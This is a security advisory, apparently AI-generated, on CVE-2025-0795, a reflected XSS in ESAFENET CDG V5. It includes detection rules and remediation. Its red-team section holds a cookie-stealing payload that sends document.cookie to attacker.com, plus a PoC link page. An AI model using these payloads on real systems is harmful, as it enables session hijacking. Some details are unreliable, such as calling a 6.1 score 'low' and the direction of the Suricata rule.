CVE-2025-0795

Executive Summary

CVE-2025-0795 is a reflected Cross-Site Scripting (XSS) vulnerability in ESAFENET CDG V5, specifically within the /todolistjump.jsp endpoint. The flowId parameter is not sanitized, allowing an attacker to inject arbitrary JavaScript. The vulnerability is classified as problematic with a low CVSS score due to the requirement for user interaction. No patch has been released, and the vendor has not responded to disclosure attempts. Public exploit code exists, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability does not affect any open-source package registries (NPM, PyPI, Go, Ruby). It is a proprietary enterprise application (ESAFENET CDG V5). Organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – potential data exfiltration via XSS.
• Integrity Impact: Low (I:L) – content injection possible.
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS is low, the public availability of exploit code and the lack of a patch elevate the risk for unmitigated deployments.

Deep Dive & Mechanics

The vulnerability resides in the todolistjump.jsp page of ESAFENET CDG V5. The flowId parameter is directly reflected in the HTTP response without proper encoding or validation. An attacker can craft a URL such as:

http://target/cdg/todolistjump.jsp?flowId=<script>alert('XSS')</script>

When a victim with an active session visits this URL, the injected script executes in the context of the victim's browser. This can be used to steal session cookies, perform actions on behalf of the user, or deface the page.

The root cause is the lack of output encoding for user-supplied input in the JSP file. The application likely uses request.getParameter("flowId") and writes it directly to the response without using a context-aware encoding library (e.g., OWASP Java Encoder).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<%
String flowId = request.getParameter("flowId");
%>
...
<input type="hidden" name="flowId" value="<%= flowId %>">

Patched Code (Conceptual):

<%@ page import="org.owasp.encoder.Encode" %>
<%
String flowId = request.getParameter("flowId");
%>
...
<input type="hidden" name="flowId" value="<%= Encode.forHtmlAttribute(flowId) %>">

The patched version uses OWASP Java Encoder to properly encode the flowId value for an HTML attribute context, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running ESAFENET CDG V5.
• Victim user must be logged in and click a crafted link.

Exploit Steps:

1. Craft a malicious URL:

   http://target/cdg/todolistjump.jsp?flowId=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Deliver the link via phishing email or social engineering.
3. When the victim clicks the link, the script executes and sends the session cookie to the attacker's server.

Proof-of-Concept (PoC) Code:

<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<a href="http://target/cdg/todolistjump.jsp?flowId=<script>alert('XSS')</script>">Click me</a>
</body>
</html>

Blue Team

Detection:

• Monitor web server logs for requests to /todolistjump.jsp containing suspicious characters in the flowId parameter (e.g., <script>, onerror=, javascript:).
• Use the Sigma rule provided below.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block XSS patterns in the flowId parameter.
• Apply input validation: reject any flowId containing HTML tags or JavaScript events.
• If possible, upgrade to a patched version or apply a vendor-supplied hotfix.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /todolistjump.jsp with flowId containing <script>, onerror, onload, or other XSS payloads.
  • Outbound connections from the CDG server to unknown IPs on ports 80/443 (potential data exfiltration).
• Host:
  • Unusual entries in web server access logs for /todolistjump.jsp.
  • Presence of unexpected JavaScript in the response body of /todolistjump.jsp.
• File:
  • Modified todolistjump.jsp file (if attacker gains write access).

Detection Engineering

YARA Rule

rule Detect_CVE_2025_0795_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-0795 in ESAFENET CDG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0795"
    strings:
        $xss1 = /flowId=.*<script/i
        $xss2 = /flowId=.*onerror/i
        $xss3 = /flowId=.*onload/i
        $xss4 = /flowId=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-0795 XSS Attempt on ESAFENET CDG
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts targeting the flowId parameter in todolistjump.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: '/todolistjump.jsp'
        cs-uri-query|re: 'flowId=.*(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in flowId (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-0795 XSS Attempt on ESAFENET CDG"; flow:to_server,established; content:"/todolistjump.jsp"; http_uri; pcre:"/flowId=.*(<script|onerror|onload|javascript:)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, restrict network access to the CDG application until a patch is applied.
2. WAF Rule: Deploy a WAF rule to block requests containing XSS patterns in the flowId parameter.
3. Input Validation: Manually patch the todolistjump.jsp file to sanitize the flowId parameter using OWASP Java Encoder or similar.

Long-Term Actions:

1. Vendor Engagement: Continue to pressure ESAFENET for an official patch. Consider legal or regulatory escalation if the software is critical.
2. Code Audit: Conduct a full security audit of the CDG application for similar vulnerabilities.
3. Replace: Evaluate alternative solutions if the vendor remains unresponsive.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.